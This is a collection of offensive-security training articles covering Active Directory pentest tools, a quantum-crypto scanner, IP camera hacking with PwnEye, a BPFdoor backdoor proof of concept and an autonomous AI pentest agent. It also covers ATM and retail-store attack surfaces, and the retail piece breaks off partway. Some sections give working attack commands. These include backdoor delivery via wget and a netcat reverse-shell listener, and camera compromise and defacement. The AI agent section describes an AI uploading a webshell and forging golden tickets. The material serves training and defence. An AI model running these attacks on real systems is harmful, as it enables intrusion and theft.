During a pentest, you often end up repeating the same things. You usually start with the same set of checks. You want to know if SMB shares are exposed, whether you can reach LDAP on the DC and find out how strong the password policies are. You also want to find misconfigured privileged accounts, roastable accounts and go through ADCS for potential escalation paths. These are the checks that always come up in Active Directory pentests.
Because of that, a lot of pentesters end up writing their own scripts and use tools that reduce the repetitive work. Today we’ll look at two tools that help here. It’s ADScan and ADPulse. ADScan is built for active enumeration and attack, while ADPulse is for read only auditing and reporting.
ADScan
We’ll start with ADScan. It automates Active Directory pentesting and does enumeration across DNS, LDAP, SMB and Kerberos, collecting data that can be fed into BloodHound for analysis. Later you’ll see you don’t even have to use BloodHound to process that data, since ADScan uses Python libraries to parse the JSON files and give you the output itself. You can act on findings right away, with Kerberoasting, AS-REP roasting, DCSync or just password spraying.
Sometimes you might start with no credentials at all or you might be handed a low-privileged account. ADScan works well in both cases.
Setting Up
The installation process requires some patience. Before starting, you need to have Docker installed on your Kali.
kali > sudo apt install docker.io
kali > sudo apt install docker-compose
kali > sudo service docker start
kali > sudo systemctl enable docker
Once Docker is ready, you can install ADScan.
kali > pipx install adscan
kali > adscan install
A stable internet connection is important here.
After installation completes, you will receive credentials for BloodHound. At this point, everything is ready and you can start the tool.
kali > adscan start
Inside the interface, you can see a help menu that keeps commands in logical sections.
Each section has its own subcommands.
Exploitation
As mentioned earlier, you can work with or without a domain user account. We’ll give it the credentials anyway.
start_auth
After running this command, give it the credentials and some details about the domain that you know.
From here, ADScan will run a few automated checks. It pulls in BloodHound data, looks for Kerberoastable and AS-REP roastable accounts and tries to find potential escalation paths in Active Directory Certificate Services.
In our case, the tool found that our lowpriv user has GenericAll permissions over sensitive groups. This comes from SDProp manipulation, where permissions are assigned in ways that aren’t easy to find using standard administrative tools (RSAT).
When enumeration’s done, ADScan gives you two different attack path engines. The first works with BloodHound, organizing findings into attack paths. This includes password spraying, Kerberos attacks, NTLM hash capture and other steps that gradually build toward higher levels of access.
The second engine uses a local Python based search that finds permission abuse through DACL misconfigurations. In our example, it showed that the user can directly modify membership in Domain Admins.
As the process continues, ADScan may also check for known vulnerabilities affecting domain controllers. It’s not unusual to find older systems still in use, which can be vulnerable to Zerologon or NoPac.
ADScan does not replace understanding, but it significantly improves efficiency and consistency.
ADPulse
ADPulse takes a different angle. It’s built as a read only auditing tool that evaluates the overall security posture of an Active Directory environment. ADPulse connects to a domain controller over LDAP or LDAPS and runs a defined set of security checks. These checks look for common misconfigurations, weak policies, and potential attack paths. The results come out in several formats (CLI, JSON, and HTML).
Setting Up
Compared to ADScan, setting up ADPulse is straightforward.
kali > git clone https://github.com/yourorg/adpulse.git
kali > cd adpulse
kali > python -m venv venv
kali > source venv/bin/activate
kali > pip install -r requirements.txt
Once the environment is ready, you can start it.
kali > python ADPulse.py –domain sekvoya.local –user lowpriv –password 'P@ssw0rd123!'
As it runs, ADPulse shows summaries right in the terminal, so you get a sense of what’s going on in the domain as it works. When the scan finishes, it generates both JSON and HTML reports. The HTML version looks good and lays out findings in a hierarchical structure with recommendations attached.
You can share these reports with sysadmins and defenders to help them understand what needs fixing and why it matters.
Summary
Active Directory pentesting starts with discovery and often moves toward exploitation, but it doesn’t always end with full domain compromise. Success isn’t measured by whether you get Domain Admin privileges, it’s measured by how well you identify and communicate the risks that could actually impact the organization. Sometimes the most critical findings are exposed data, weak configurations and small mistakes that could later get chained into bigger attacks.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
Almost a year ago, OTW spoke about quantum computers and the risk of our encryption getting broken within three years. In March, Google shared its concern on the same issue, moving up its own post-quantum migration deadline to 2029. Some companies are migrating to mitigate that risk, but not many are taking it seriously. Eventually, a huge number of companies are going to get left behind with weak and breakable encryption. Hackers will only benefit from that negligence.
To help you minimize the risk and get an actionable plan with recommendations tailored to your company, we want to show you how AC-Scanner works.
AC-Scanner
AC-Scanner is basically a script for post-quantum cryptography exposure assessment. It maps your full cryptographic attack surface across TLS endpoints and SSH services, assesses every asset against NIST post-quantum standards and generates a structured Cryptographic Bill of Materials (CBOM).
Before we continue with the scan, you might want to watch a video by OTW and David Bombal on the risk of quantum computing being able to decrypt things at mass scale and expose session keys.
Setting Up
Docker is the easiest way to get started. We’ll start with the CLI version first, then show you how to get the web version up and running. They both work the same way, so you can choose any.
root > docker run --rm -it qubitac/acscanner:latest bash -c 'rm -f /.dockerenv && cd /app/scripts && ./scan.sh -h'
We’re only interested in the presets here. As you can see, you can test basically any of your assets.
Scanning Assets – CLI
Let’s choose some random Russian company for this scan. We don’t intend them to benefit from the results, we will just use it for demonstration to show how prevalent the issue is.
If you’re testing a big company, it will take time.
Results will be stored in ~/ac-scans
Here we only need crypto-bom.json that’s hiding in cbom.
Results
Upload crypto-bom.json to the dashboard by clicking Load CBOM. You will see the overview.
You can already see the infrastructure is not PQC ready and has several critical issues.
The next step is HTTPS. Although 9 of their endpoints are using HTTPS, it’s vulnerable and the risks are high.
The scanner tried to fingerprint the SSH endpoints too, but they weren’t open.
Let’s look at the issues that the company has. It will show all the affected hosts with severity assigned to each.
Quantum risks may help tracking the progress of your migration. The results below are from a different company, but you can see they have only 3 PQC ready hosts out of 308.
Recommendations will help you address issues by giving you prioritized actions.
The recommendations were intentionally redacted by us to make them unusable. However, you can still clearly see how the page is structured.
Finally, your main goal is migration. Here it lists all the migration phases and gives you deadlines by which they need to be completed.
As you can see, legacy TLS should be abandoned by 2027 and hybrid PQC key exchange should be introduced no later than 2028. That applies to everyone, not just this organization in particular. The report gives clarity and orients your client so there’s no confusion.
Scanning Assets – Web
If you don’t want to work in the terminal, you can use the web version.
It’s available in the browser on http://localhost:8080/.
Summary
AC-Scanner is easy to work with if you use Docker, otherwise you’ll run into some incompatibility issues. The dashboard has all the valuable information and most importantly it’s actionable and orienting. You don’t just see the vulnerabilities, you get a guide with recommendations on how to fix them too. Your client will definitely appreciate that.
Some cameras protect a building, others betray it. Camera hacking isn’t hard, and that’s the problem. These devices are often the most vulnerable in any environment. Once installed, they aren’t maintained until there’s a problem. Many “problems” can go unnoticed if you know how vulnerable cameras are. Hackers can use them for persistence or as an entry point into an organization.
We do have different articles on this topic, but this time there’s something else we want to show. It’s PwnEye.
PwnEye
PwnEye is a newer tool that didn’t get enough attention yet. It works with both ONVIF and RTSP and that’s pretty much all you need. Once it has compromised a camera, it can reboot it, factory reset and open an interactive shell via ONVIF.
You also black out the operator’s view. Just like in movies.
Setting Up
Let’s set up the tool. You’ll need ffmpeg first.
kali > sudo apt install ffmpeg
Then install pipx and grab the tool.
kali > sudo apt install pipx
kali > pipx install git+https://github.com/Hackerest/pwneye.git
Once it’s ready, you can test it:
kali > pwneye -h
The help menu’s large. The tool can be used to find cameras in a local network with –discover, but it can be pointed at any camera IP. That’s where we’ll start.
ONVIF Attacks
ONVIF is the protocol that lets cameras from different manufacturers talk to each other without buying the same product. It’s basically a standard, but it’s also an attack vector.
kali > pwneye -t IP
If the camera’s running default or weak credentials, you get access. The tool extracts everything after compromise. Below you can see the network config, MAC address, DNS entries and configured users. DNS entries may sometimes point to interesting internal servers.
Look at the configured user credentials in the output. You’ll use those to get a shell.
The tool also finds snapshots that the camera captures regularly. You can view them in the browser or wait for PwnEye to open the stream.
Some cameras support deface (black the screen), PTZ movement and factory reset through ONVIF. Not all. Depends on the model.
Finally, once it finishes, you get the stream.
Well, it’s just a bus station. Nothing fancy here.
Defacing Cameras
If the camera supports it, you can deface it.
kali > pwneye -t IP --deface [MESSAGE]
It’s not sophisticated, but it works.
Shell
That’s probably the most interesting part. Take the credentials from the user profile output and get a shell.
kali > pwneye -t IP -ou admin -op ‘’
Once you’re in, run help and see what it has. Some cameras let you do more than others.
RTSP Attacks
ONVIF compromise is worse than RTSP compromise, but RTSP often works when ONVIF doesn’t. The tool tries both by default, but you can skip ONVIF and go straight to RTSP if you want.
kali > pwneye -t IP -so
The tool has more than 450 credentials built in. You can also try common corporate passwords like Company123 or just Company.
Once it gets credentials, you get the stream.
Summary
Some IP cameras might be accessible from the internet and locally. That means compromising them also gives you a foothold on the internal network. They aren’t upgraded regularly and IoT devices in general lack proper software updates. There are dozens of known CVEs on most camera models. Cameras can be used to proxy through them, attack other hosts or maintain persistence.
There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more.
As you might know, not all dangerous threats are the loud ones. We often hear about ransomware campaigns that paralyze companies and demand money. Money is the key factor in these operations. If the victim pays once and gets their decryption key, there’s a chance they will pay a second time. That means the key must be delivered to the victim. Total destruction isn’t really the objective here. Things need to stay in a state where they can be fixed within a short period of time if the victim pays.
With state sponsored APTs, things are a bit different. Given the strategy China has right now in regards to the West, they’re trying to preposition themselves for a future conflict, so gaining as much access as possible is the current goal. Once things go south, all that compromised infrastructure starts crippling systems in a bid to cause as much damage as possible. That’s what happened before and during the first days of the Russian invasion of Ukraine and other countries, so there’s a good chance that’s what will happen during an active conflict with China.
An investigation by Rapid7 Labs found evidence of an advanced China nexus threat actor known as Red Menshen. This group has been placing stealthy digital sleeper cells inside telecommunications networks. These are long-term operations built for persistence and access to sensitive environments, including government infrastructure.
At the center of this activity is BPFdoor.
What is BPFDoor
BPFdoor doesn’t behave like conventional malware. It doesn’t open a visible listening port or maintain a C2 channel. BPFdoor is a passive Linux backdoor that works at a very low level in the system. It uses the Berkeley Packet Filter (BPF), which is a feature inside the Linux kernel designed for packet filtering and analysis. Normally, BPF is used for legitimate purposes such as monitoring. In this case, it is being abused. The backdoor attaches itself to a raw network socket and inspects incoming traffic. It can actually see packets before firewall ruleshave a chance to process them. So even if your firewall is configured correctly, the backdoor can still see traffic that should have been blocked.
Most of the time, the backdoor does nothing. It remains completely dormant, which makes it difficult to detect through behavior. It just waits for a “magic packet”. That magic packet has a predefined pattern known only to the hacker. When it arrives, the backdoor wakes up and gives the hacker a reverse shell, so that he doesn’t expose the entry point.
For this article we will use a simplified PoC. It doesn’t include advanced features such as encryption, persistence or espionage modules. But it’s enough to show the core idea and that’s what matters for our learning. The original rootkit can be found here.
Setting Up
We begin by cloning the repository and modifying the trigger file. That’s the file responsible for sending the magic packet that activates the backdoor.
kali > git clone https://github.com/pjt3591oo/bpfdoor.git
kali > cd bpfdoor
kali > vim trigger.c
Inside trigger.c you need to specify two IP addresses. One is the target machine where the backdoor will run, and the other is your attacking machine. We used Kali for this.
You will notice a small detail in the code, a character ‘X’ placed before the IP address. It is a simple magic byte used by the PoC to identify valid trigger packets. It should not be removed, as it is part of the mechanism that wakes up the backdoor.
Once the file is ready, you compile both the trigger and the backdoor.
kali > gcc trigger.c -o trigger
kali > gcc bpfdoor -o bpfdoorpoc
kali > chmod +x trigger
After compiling, we are ready to move to the target system.
Exploitation
To move further we need to transfer the backdoor. There are different methods available for it. You can use temp.sh or a simple HTTP server.
Pick whatever is best for you and download it.
kali > python3 -m http.server 9001
ubuntu > wget http://192.168.56.107:9001/bpfdoorpoc
Once the file is downloaded, you make it executable and run it.
At this point, the rootkit appears to hang. This is expected behavior. The backdoor is now running in the background, waiting for the magic packet. You might see some output, but nothing really tells you what it’s doing.
Set up a listener on Kali to receive your reverse shell
kali > nc -lvnp <port>
The trigger sends a packet that the backdoor recognizes.
In a separate terminal you execute the trigger:
kali > ./trigger
The trigger sends a packet that the backdoor recognizes.
The moment it detects the correct pattern, it activates and sends you back a reverse shell. If everything is correct, you will see a connection. It’s a working shell on the target system.
This is the core idea behind BPFdoor.
Detection
The backdoor has been known since around 2022, but only recently has it been observed being actively used in attacks against telecommunications infrastructure. To detect it we can use a script made by Rapid7.
The script attempts to find suspicious processes that match the behavior of BPFdoor. In our case, it found the PoC process and reported its process ID. Even stealthy malware can leave traces. Detection comes down to understanding how the system is supposed to behave (baseline) and finding deviations from it.
Summary
BPFdoor is an advanced Linux backdoor with a different approach to persistence and remote access. It’s being used by the Chinese to access our sensitive data. The whole Chinese campaign is about prepositioning the country for future global conflicts, so they can gain the upper hand in the chaos of a cyberwar. Their backdoor hides within the normal operation of the kernel and waits for a specific trigger. That makes it really hard to spot.
Telecoms have always been a desirable target along with industrial control systems. In light of these attacks, we started training on Building Your Own Mobile 4G Base Station. You’ll get to learn not just how to build a station, but how hackers attack it and how you can defend it. The knowledge is truly unique and a lot of work has gone into making the training.
Lately we have been covering the use of AI in cybersecurity and this space has been growing so fast that it’s hard to keep up sometimes. It’s only going to keep growing from here, so it’s smart to learn how to use it to your advantage instead of getting left behind.
Today we’re going to show you a pentest tool that works with different models. The tool comes ready to use right out of the box and you don’t have to provide your API key to get started. During our own testing, we did eventually hit a usage limit, but by that point we had already gotten a ton of work done. The limits will reset every day, sometimes you just need to wait 5-14 hours. But the daily limit should be enough for you to complete many of your tasks.
What is PentestCode
PentestCode is an autonomous agent that lives in your terminal. You point it at a target and from there it takes over. It can run tools, read the output, build a picture of the network as it decides what step makes sense next. Under the hood, it’s a hard fork of OpenCode, but stripped of all the code editing features and rebuilt from the ground up with offensive security in mind.
In our experience the tool did well in both web and network pentesting. Of course, everyone’s mileage may vary, so give it a shot yourself and see how it fits into your workflow. With that said, let’s get it set up.
Setting Up
All you need to do is unzip the release version and start it up. Before you do that though, make sure you are downloading the original project made by s0ld13rr and not some fork. There have been reports of forks being bundled with infected files, so stick to the source.
kali > wget https://github.com/s0ld13rr/pentestcode/releases/download/v0.2.5/pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tar.gz
kali > 7z x pentestcode-linux-x64.tar
And that’s it, we are ready to launch.
Working with PentestCode
Once you launch the tool, the console will appear.
kali > ./pentestcode
At this point you can either leave everything at the default settings or tweak the model and the provider yourself. By default, the tool is set up with OpenCode Zen as the provider and Big Pickle as the model, though you can switch that over to DeepSeek v4 Flash.
If you want to connect to a different provider, just type /connect.
And whenever you want to swap the model, just type /models and pick from the list.
Active Directory
Let’s start by testing this against our own lab. We gave it an Active Directory account with low privileges and asked to pull some interesting information from LDAP.
It came back with domain admins, misconfigs, machine accounts and more.
At the very end of the report, it suggested the next steps based on everything it found.
Then we brought in BloodHound to see the relationships across the domain. If you have been following our earlier articles, you already know that our lowpriv account is set up as a kind of backdoor, since it holds GenericAll rights over AdminSDHolder. The tool found the backdoor and exploited it.
The agent performed a DCSync attack and pulled every user hash in the environment. Then we asked it to generate a golden ticket.
It pulled it off using the Impacket. Keep in mind, using Impacket won’t always work against a protected endpoint, so it’s important to spell out clearly how you want the pentest to be done. If you are running this against a live target, put real guardrails in place and give the tool much more detailed prompts so it does not wander somewhere it shouldn’t.
Finally, we get to the tedious part of a pentest. It’s writing up the report. You can do it in different formats using /report.
kali > sudo apt install glow
kali > glow report.md
Web Pentesting and Bug Bounty Hunting
Web pentesting is such a massive topic on its own that plenty of people end up specializing in just one or two attacks testing them across different targets. PentestCode can be used here too, once you give it a good starting point through solid reconnaissance. You can toggle between modes using Tab, switching back and forth between Recon and Pentest.
We intentionally kept our prompt vague, just to see how creative the tool would get on its own and pointed it at a website. Within 15 minutes, it mapped out every subdomain tied to that company and tested the infrastructure behind each one.
The goal was to get an RCE. We didn’t expect much to come of it, but it managed to do it.
PentestCode uploaded a webshell and used curl to do recon on the internal network from there. On top of that, it compromised both a mail account and a MySQL database. The admin panel was also exploited with a CSRF vulnerability. Pretty impressive stuff, honestly.
The tool comes in handy during post exploitation as well. In our test, it exploited a vulnerability in PostgreSQL and escalated its way up to superuser access, then went through the databases and pulled out some interesting data. You can see some of it below.
Summary
If you decide to test PentestCode yourself, make sure you steer clear of vague prompts and set clear boundaries so that it doesn’t go further than it should. Use /pause to choose a mode where it stops and waits for your approval before moving forward. We believe that it’s important to keep a human in the loop in cybersecurity work like this.
We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have. There’s no reason to resist AI. It’s a tool to master.
Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security.
This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.
Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.
With that out of the way, let’s start with where ATMs came from.
The History of ATMs
London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card.
Source: Barclays Bank
Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.
Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.
Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.
What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.
Screenshot of the troubleshooting guide for Cutlet Maker. The author describes the ATM’s USB port location, along with advice on how to devise a stick for attaching the USB cable and accessing the internal USB port. Source: TrendMicro
Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.
Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.
Brief Attack Statistics
The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.
Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.
None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.
How an ATM Is Built
Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.
The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.
1. User Layer
From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.
Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines.
A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center.
Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.
2. OS Layer
That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.
Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.
Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.
The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.
Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.
3. Network Layer
Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.
Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well.
The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.
4. Firmware Layer
Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone.
The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware.
Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.
ATM Attacks
With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.
Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.
Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.
System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.
Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.
Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there.
We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.
Summary
ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.
Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.
Let’s talk about something most people never think about. When the news reports on a cyberattack against a big retail chain, the story usually sounds the same. A database got leaked or ransomware locked up the company’s files. These are real threats, and they deserve attention. But what happens if a hacker skips all of that and simply walks into a physical store with a laptop tucked in a backpack? No malware sent through email and no phishing link, just being there physically.
In this article, we are going to build a picture, drawn from several real walkthroughs of ordinary retail stores, all pointed toward one goal. We want to see the store the way a pentester sees it.
A Hacker in the Supermarket
Imagine someone stepping through the front doors with that mindset. Within a few minutes of walking the floor, a handful of things stand out.
There are the transformer checkout terminals and the self service kiosks, the modern face of retail, and also a possible weak point. There are staff call buttons mounted near the aisles, small radio transmitters that broadcast a fixed code each time someone presses them, a code that could potentially be captured and played back later. There are wireless DECT handsets still in use on some sales floors, the same cordless phone technology many offices have relied on for years. There are data collection terminals, plain Android devices that sometimes carry no password protection at all, with access to the store’s Wi-Fi settings. And running along the floor and behind the counters, there are network cables, which in the wrong circumstances could let anyone plug in and reach the store’s internal network.
Day 1 – Becoming an Insider
Many corporations believe their internal network is sealed off from the outside world, safe behind firewalls and passwords. That sense of safety can end at the first unlabeled cable lying loose on the floor.
Someone can walk up to a transformer checkout terminal, unplug its network cable, plug in a laptop instead (or better yet, one of those devices we showed in previous articles), and type a simple command.
kali > sudo dhclient
That laptop could be handed an IP address from the store’s own internal network. If the network uses a /27 mask, that means an entire segment of the corporate infrastructure could open up right there.
Scanning the network might take only a couple more minutes, and inside, a hacker could find exactly what you would expect from a typical store. There could be the store manager’s workstation, with an open RDP port for remote access. There could be a Wi-Fi router still running its factory default settings. There could be a DECT base station handling internal telephony. There could be surveillance cameras, other registers and terminals, and tucked away in shared folders and configuration files, credentials and passwords saved in plaintext.
From there, someone could try connecting to the manager’s computer. If the RDP client offers a choice of accounts, and one of those accounts, say one named operator, needs no password at all, that should raise a flag. Normally Windows blocks RDP logins for accounts with blank passwords, so a setup like that means someone deliberately switched that protection off, likely to keep an easy access route open for themselves. Sysadmins often do it. But that’s a backdoor. We often see the same issue with VNC. That route could lead to the remote desktop of an employee with access to corporate email, internal messenger conversations, financial documents, work schedules, and delivery data.
And since Chrome is installed on nearly every computer in sight, opening Passwords could show saved logins for internal services, everything from the CRM system to the warehouse management software, sitting there in plain view.
How to Fix It
Passwordless accounts feel almost like a relic from an earlier era, yet they still turn up in retail environments from time to time. Alongside them, flat, unsegmented networks are common, where cameras, workstations, and Wi-Fi routers all sit together on the same segment. Add to that the simple physical accessibility of the equipment. Network cables, ports, and switches are often placed exactly where any employee, or any visitor, could reach them without much trouble.
Segment the network properly, giving separate VLANs to registers, service equipment, and employee workstations, so a breach in one area does not open a door to everything else. Restrict which devices are even allowed to connect through RDP in the first place. Turn on MAC address whitelisting along with Port Security, so an unknown device cannot simply be plugged into an open port and join the network. Require real passwords on every local account, without exception. Disable browser based password storage for anything tied to internal systems.
And finally, ask security staff to keep a closer eye on the registers themselves.
Day 2 – Telephone Game
Consider a small, easy to overlook detail, a staff call button tucked into a corner near an aisle. Pressed once, it sends a chime ringing across the store, and a salesperson comes over a moment later. Simple enough, on the surface.
Except with a HackRF One someone could intercept and record the exact signal the button sends the moment it is pressed. If that button broadcasts the same static signal every time, with no protection against replay, then anyone who plays that recorded signal back over the air could trigger the same chime, without ever touching the actual button. This is what we call a replay attack, and it remains a real possibility even now.
Once that chime lives on someone’s laptop, a single click could ring it out across the entire store. Employees might rush toward the sound, leaving a register briefly unattended, while someone else nearby has a short window to act.
The same HackRF One, paired with an open source tool called gr dect2, could also be used to listen to the surrounding airwaves. If a store still relies on wireless DECT handsets for internal communication, a call placed from one handset to another could, in principle, be intercepted and decrypted in real time as it travels through the air. From that point, anyone listening could pick up delivery schedules, work rosters, and conversations about register problems, all carried over employees’ DECT handsets.
Older pentest reports sometimes describe this kind of attack as only medium risk, mostly because of the cost of the equipment and the technical skill it supposedly requires. It’s different now. An original HackRF One costs somewhere around three hundred dollars, and less expensive clones can be found on online marketplaces for a fraction of that price. And gr dect2 makes the whole process more accessible, since it is an openly documented, freely available project.
How to Fix It
The fixes here lean more organizational than technical. It makes sense to retire primitive call buttons in favor of systems that use dynamic, constantly changing codes instead of a single static signal. Alongside that, replacing outdated DECT telephony with modern VoIP or straightforward wired communication removes much of this risk entirely.
Day 3 – Corporate Wi-Fi
What about the Wi-Fi? On paper, it can look genuinely solid, not a simple router with a shared password, but full WPA-Enterprise authentication requiring a proper login and password from each user. That sounds like a real obstacle, and in many ways it is. But it does not fully close the door. Someone could set up a rogue access point using the exact same network name as the legitimate one. If an employee’s device, whether a work tablet or a personal smartphone, tries to reconnect automatically, it might see two access points broadcasting the identical name and simply pick whichever one offers the stronger signal and the faster response. A rogue access point built for this purpose could easily be tuned to answer faster than the real one. Once a device connects to that convincing twin, it attempts to authenticate as usual, and in doing so, it sends its credentials straight into someone else’s logs.
How to Fix It
